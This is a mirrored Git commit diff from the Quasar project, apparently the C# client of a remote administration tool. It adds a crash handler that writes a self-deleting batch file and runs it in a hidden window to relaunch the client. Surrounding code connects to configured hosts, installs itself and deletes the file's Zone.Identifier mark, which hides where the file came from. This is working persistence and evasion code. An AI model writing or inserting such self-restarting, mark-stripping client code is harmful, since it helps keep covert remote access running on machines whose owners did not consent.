mirror of https://github.com/quasar/Quasar.git
Handle UnhandledExceptions
This commit is contained in:
parent
5b34f03ae1
commit
5944925c3e
|
@ -106,6 +106,29 @@ namespace xClient.Core.Helper
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public static string CreateRestartBatch()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string batchFile = GetTempFilePath(".bat");
|
||||||
|
|
||||||
|
string uninstallBatch =
|
||||||
|
"@echo off" + "\n" +
|
||||||
|
"echo DONT CLOSE THIS WINDOW!" + "\n" +
|
||||||
|
"ping -n 10 localhost > nul" + "\n" +
|
||||||
|
"start \"\" " + "\"" + ClientData.CurrentPath + "\"" + "\n" +
|
||||||
|
"del " + "\"" + batchFile + "\"";
|
||||||
|
|
||||||
|
File.WriteAllText(batchFile, uninstallBatch);
|
||||||
|
|
||||||
|
return batchFile;
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
return string.Empty;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
public static bool ClearReadOnly(string filePath)
|
public static bool ClearReadOnly(string filePath)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
|
|
|
@ -28,6 +28,7 @@ namespace xClient
|
||||||
{
|
{
|
||||||
Application.EnableVisualStyles();
|
Application.EnableVisualStyles();
|
||||||
Application.SetCompatibleTextRenderingDefault(false);
|
Application.SetCompatibleTextRenderingDefault(false);
|
||||||
|
AppDomain.CurrentDomain.UnhandledException += HandleUnhandledException;
|
||||||
|
|
||||||
Settings.Initialize();
|
Settings.Initialize();
|
||||||
Initialize();
|
Initialize();
|
||||||
|
@ -37,6 +38,24 @@ namespace xClient
|
||||||
Cleanup();
|
Cleanup();
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private static void HandleUnhandledException(object sender, UnhandledExceptionEventArgs e)
|
||||||
|
{
|
||||||
|
if (e.IsTerminating)
|
||||||
|
{
|
||||||
|
string batchFile = FileHelper.CreateRestartBatch();
|
||||||
|
if (string.IsNullOrEmpty(batchFile)) return;
|
||||||
|
|
||||||
|
ProcessStartInfo startInfo = new ProcessStartInfo
|
||||||
|
{
|
||||||
|
WindowStyle = ProcessWindowStyle.Hidden,
|
||||||
|
UseShellExecute = true,
|
||||||
|
FileName = batchFile
|
||||||
|
};
|
||||||
|
Process.Start(startInfo);
|
||||||
|
Environment.Exit(0);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
private static void Cleanup()
|
private static void Cleanup()
|
||||||
{
|
{
|
||||||
CommandHandler.CloseShell();
|
CommandHandler.CloseShell();
|
||||||
|
@ -115,23 +134,19 @@ namespace xClient
|
||||||
|
|
||||||
private static void Initialize()
|
private static void Initialize()
|
||||||
{
|
{
|
||||||
if (!MutexHelper.CreateMutex(Settings.MUTEX))
|
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
||||||
ClientData.Disconnect = true; // process with same mutex is already running
|
|
||||||
|
// process with same mutex is already running
|
||||||
|
if (!MutexHelper.CreateMutex(Settings.MUTEX) || _hosts.IsEmpty) // no hosts to connect
|
||||||
|
ClientData.Disconnect = true;
|
||||||
|
|
||||||
if (ClientData.Disconnect)
|
if (ClientData.Disconnect)
|
||||||
return;
|
return;
|
||||||
|
|
||||||
AES.PreHashKey(Settings.PASSWORD);
|
AES.PreHashKey(Settings.PASSWORD);
|
||||||
_hosts = new HostsManager(HostHelper.GetHostsList(Settings.HOSTS));
|
|
||||||
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
ClientData.InstallPath = Path.Combine(Settings.DIR, ((!string.IsNullOrEmpty(Settings.SUBFOLDER)) ? Settings.SUBFOLDER + @"\" : "") + Settings.INSTALLNAME);
|
||||||
GeoLocationHelper.Initialize();
|
GeoLocationHelper.Initialize();
|
||||||
|
|
||||||
if (_hosts.IsEmpty)
|
|
||||||
ClientData.Disconnect = true; // no hosts to connect
|
|
||||||
|
|
||||||
if (ClientData.Disconnect)
|
|
||||||
return;
|
|
||||||
|
|
||||||
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
|
FileHelper.DeleteZoneIdentifier(ClientData.CurrentPath);
|
||||||
|
|
||||||
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
|
if (!Settings.INSTALL || ClientData.CurrentPath == ClientData.InstallPath)
|
||||||
|
|
Loading…
Reference in New Issue